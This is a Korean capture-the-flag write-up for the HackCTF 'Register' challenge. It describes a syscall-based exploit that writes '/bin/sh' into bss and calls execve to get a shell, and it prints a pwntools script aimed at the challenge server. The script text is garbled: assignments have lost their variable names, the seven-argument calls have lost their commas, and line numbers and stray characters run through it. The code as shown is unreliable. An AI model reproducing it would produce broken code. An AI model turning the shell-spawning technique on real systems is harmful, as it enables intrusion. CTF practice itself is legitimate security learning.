HackCTF - Register

2021. 1. 10. 17:10CTF's Write-up

문제화면

 

이를 실행하면

 

 

 

문제 이름처럼 정말 정직하게 register을 받는다.

 

ida main

 

main함수쪽을 보면 alarm으로 5초 후에 signal을 발생시킨다.

signal이 발생할때 인자들은 system("/bin/sh") or execve("/bin/sh")형식으로 만들어 주면 shell을 획득할 수 있을 것이다.

 

즉 요약하면 sysrop인데 조금 편하게 풀 수 있는문제이다.

 

1. read systcall을 이용해서 bss 영역에 "/bin/sh"삽입

2. execve syscall 을 이용해서 bss를 인자로 전달

 

페이로드는 아래와 같다.

 

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import * 
 
= remote("ctf.j0n9hyun.xyz"3026)
#r = process("./register")
= ELF("./register")
context.log_level = "debug"
 
bss = 0x601080+12
shell = "/bin/sh\x00"
 
def func(a1, a2, a3, a4, a5, a6, a7) :
    r.recvuntil(": ")
    r.sendline(str(a1))
    r.recvuntil(": ")
    r.sendline(str(a2))
    r.recvuntil(": ")
    r.sendline(str(a3))
    r.recvuntil(": ")
    r.sendline(str(a4))
    r.recvuntil(": ")
    r.sendline(str(a5))
    r.recvuntil(": ")
    r.sendline(str(a6))
    r.recvuntil(": ")
    r.sendline(str(a7))
    
func(00, bss, 10000)
r.send(shell)
func(59, bss, 00000)
sleep(5)
r.interactive()
cs

 

이를 실행시키면

 

 

 

shell 획득이 가능하다 :)

 

+ 참고로 마지막 sleep(5)는 alarm을 맞춰주기 위해서 넣었다.

 

'CTF's Write-up' 카테고리의 다른 글

DreamHack - rev-basic-2  (0) 2021.01.12
HackCTF - World Best Encryption Tool  (0) 2021.01.11
HackCTF - RTC  (0) 2021.01.08
DreamHack - simple-ssti  (0) 2021.01.04
DreamHack - web-misconf-1  (0) 2021.01.04